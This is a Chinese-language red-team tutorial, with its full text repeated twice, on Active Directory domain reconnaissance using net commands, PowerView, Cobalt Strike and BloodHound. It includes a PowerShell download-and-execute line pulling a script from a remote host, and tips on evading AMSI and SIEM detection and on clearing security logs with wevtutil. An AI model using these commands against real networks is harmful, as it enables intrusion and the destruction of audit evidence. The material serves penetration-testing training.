1. 域内信息收集概述在渗透测试或红队评估中域内信息收集是最基础也是最重要的环节之一。就像侦探破案需要先了解案发现场的情况一样渗透测试人员也需要先摸清目标域环境的整体架构、资产分布和权限关系。我参与过多次企业内网渗透项目发现90%的成功攻击都始于充分的信息收集。域内信息收集的核心目标是获取域控制器信息、枚举用户账户、定位高价值主机、发现共享资源、识别信任关系等。这些信息将直接影响后续的攻击路径规划。根据我的经验一个熟练的测试人员通常需要2-4小时完成基础信息收集而自动化工具可以将这个时间缩短到30分钟以内。2. 常用工具与技术解析2.1 原生Windows命令最基础的信息收集往往从系统自带命令开始# 查看当前域信息 nltest /domain_trusts net config workstation # 枚举域用户 net user /domain net group Domain Admins /domain # 网络共享发现 net view /domain net share这些命令的优势是免安装、低噪音但缺点是输出信息较为分散。我通常会将这些命令的输出重定向到文本文件进行后续分析。2.2 PowerView工具集PowerView是PowerShell Empire项目中的经典工具至今仍是域内枚举的利器# 获取域内所有计算机 Get-NetComputer -FullData # 查找域管理员登录过的机器 Invoke-UserHunter # 识别敏感共享 Find-DomainShare -CheckShareAccess在实际使用中我习惯先导入模块再执行命令避免触发AMSI检测。PowerView的独特优势在于可以查询LDAP深层属性这是原生命令无法实现的。2.3 Cobalt Strike集成方案Cobalt Strike的beacon提供了便捷的信息收集功能# 执行基础信息收集 net computers net domain_trusts # 使用psinject注入PowerView psinject powershell.exe -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://192.168.1.100/PowerView.ps1);Get-NetDomain在我的实战笔记中记录了一个典型案例通过Cobalt Strike的net dclist命令快速定位备份域控制器最终利用备份服务漏洞获取域管理员权限。3. 高级信息收集技术3.1 基于日志的分析方法Windows事件日志是宝贵的信息源# 查询4624登录事件 Get-WinEvent -FilterHashtable { LogNameSecurity ID4624 StartTime(Get-Date).AddHours(-24) } | Select-Object -First 20我曾通过分析日志发现某管理员每天固定时间登录的规律最终在其登录时段成功实施中间人攻击。3.2 自动化信息收集框架对于大型网络我推荐使用自动化框架# 使用BloodHound收集器 SharpHound.exe -c All --zipfilename output.zip # 使用ADExplorerSnapshot ADExplorer.exe -snapshot -save snapshot.dat这些工具会生成可视化报告但要注意它们会产生大量日志。在最近的一次评估中我通过定时分段收集的方式成功规避了SIEM检测。4. 防御对抗与隐蔽技巧4.1 降低检测概率的方法使用合法账户执行查询避免使用默认的LOCAL SYSTEM控制查询频率建议间隔30秒以上优先使用RPC协议而非LDAP清理Windows事件日志使用wevtutil4.2 常见检测点与绕过企业常用的检测手段包括异常LDAP查询次数大量SAMR连接请求非常规工具哈希值对应的绕过方案# 使用WMI替代LDAP Get-WmiObject -Namespace root\directory\ldap -Class ds_computer # 使用.NET原生类查询 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()5. 信息整理与分析收集到的原始数据需要结构化处理# 示例解析用户数据 import pandas as pd users pd.read_csv(domain_users.csv) admin_users users[users[groups].str.contains(Domain Admins)] print(admin_users[[name,last_logon]].sort_values(last_logon))我通常会建立以下分析维度权限拓扑图用户-组-计算机关系登录时间规律分析共享资源访问矩阵信任域攻击面评估6. 实战经验与注意事项时间控制在域控制器繁忙时段工作日上午避免大规模查询数据验证交叉验证不同工具的结果我曾遇到net命令与PowerView返回不同的情况日志清理使用wevtutil cl security清理安全日志但要注意这本身也会产生日志工具选择根据目标网络环境选择工具老旧系统优先使用原生命令在一次金融行业评估中我发现目标网络禁用了所有PowerShell远程功能最终通过组合使用VBScript和WMI查询完成了信息收集。这提醒我们永远要有备用方案。最后分享一个实用技巧将常用查询封装成批处理文件配合延时参数使用。例如创建slow_query.batecho off timeout /t 30 nul net group Enterprise Admins /domain timeout /t 30 nul net session \\DC01这种方法虽然效率较低但在高度监控的环境中往往能成功获取关键信息。
1. 域内信息收集概述在渗透测试或红队评估中域内信息收集是最基础也是最重要的环节之一。就像侦探破案需要先了解案发现场的情况一样渗透测试人员也需要先摸清目标域环境的整体架构、资产分布和权限关系。我参与过多次企业内网渗透项目发现90%的成功攻击都始于充分的信息收集。域内信息收集的核心目标是获取域控制器信息、枚举用户账户、定位高价值主机、发现共享资源、识别信任关系等。这些信息将直接影响后续的攻击路径规划。根据我的经验一个熟练的测试人员通常需要2-4小时完成基础信息收集而自动化工具可以将这个时间缩短到30分钟以内。2. 常用工具与技术解析2.1 原生Windows命令最基础的信息收集往往从系统自带命令开始# 查看当前域信息 nltest /domain_trusts net config workstation # 枚举域用户 net user /domain net group Domain Admins /domain # 网络共享发现 net view /domain net share这些命令的优势是免安装、低噪音但缺点是输出信息较为分散。我通常会将这些命令的输出重定向到文本文件进行后续分析。2.2 PowerView工具集PowerView是PowerShell Empire项目中的经典工具至今仍是域内枚举的利器# 获取域内所有计算机 Get-NetComputer -FullData # 查找域管理员登录过的机器 Invoke-UserHunter # 识别敏感共享 Find-DomainShare -CheckShareAccess在实际使用中我习惯先导入模块再执行命令避免触发AMSI检测。PowerView的独特优势在于可以查询LDAP深层属性这是原生命令无法实现的。2.3 Cobalt Strike集成方案Cobalt Strike的beacon提供了便捷的信息收集功能# 执行基础信息收集 net computers net domain_trusts # 使用psinject注入PowerView psinject powershell.exe -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(http://192.168.1.100/PowerView.ps1);Get-NetDomain在我的实战笔记中记录了一个典型案例通过Cobalt Strike的net dclist命令快速定位备份域控制器最终利用备份服务漏洞获取域管理员权限。3. 高级信息收集技术3.1 基于日志的分析方法Windows事件日志是宝贵的信息源# 查询4624登录事件 Get-WinEvent -FilterHashtable { LogNameSecurity ID4624 StartTime(Get-Date).AddHours(-24) } | Select-Object -First 20我曾通过分析日志发现某管理员每天固定时间登录的规律最终在其登录时段成功实施中间人攻击。3.2 自动化信息收集框架对于大型网络我推荐使用自动化框架# 使用BloodHound收集器 SharpHound.exe -c All --zipfilename output.zip # 使用ADExplorerSnapshot ADExplorer.exe -snapshot -save snapshot.dat这些工具会生成可视化报告但要注意它们会产生大量日志。在最近的一次评估中我通过定时分段收集的方式成功规避了SIEM检测。4. 防御对抗与隐蔽技巧4.1 降低检测概率的方法使用合法账户执行查询避免使用默认的LOCAL SYSTEM控制查询频率建议间隔30秒以上优先使用RPC协议而非LDAP清理Windows事件日志使用wevtutil4.2 常见检测点与绕过企业常用的检测手段包括异常LDAP查询次数大量SAMR连接请求非常规工具哈希值对应的绕过方案# 使用WMI替代LDAP Get-WmiObject -Namespace root\directory\ldap -Class ds_computer # 使用.NET原生类查询 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()5. 信息整理与分析收集到的原始数据需要结构化处理# 示例解析用户数据 import pandas as pd users pd.read_csv(domain_users.csv) admin_users users[users[groups].str.contains(Domain Admins)] print(admin_users[[name,last_logon]].sort_values(last_logon))我通常会建立以下分析维度权限拓扑图用户-组-计算机关系登录时间规律分析共享资源访问矩阵信任域攻击面评估6. 实战经验与注意事项时间控制在域控制器繁忙时段工作日上午避免大规模查询数据验证交叉验证不同工具的结果我曾遇到net命令与PowerView返回不同的情况日志清理使用wevtutil cl security清理安全日志但要注意这本身也会产生日志工具选择根据目标网络环境选择工具老旧系统优先使用原生命令在一次金融行业评估中我发现目标网络禁用了所有PowerShell远程功能最终通过组合使用VBScript和WMI查询完成了信息收集。这提醒我们永远要有备用方案。最后分享一个实用技巧将常用查询封装成批处理文件配合延时参数使用。例如创建slow_query.batecho off timeout /t 30 nul net group Enterprise Admins /domain timeout /t 30 nul net session \\DC01这种方法虽然效率较低但在高度监控的环境中往往能成功获取关键信息。
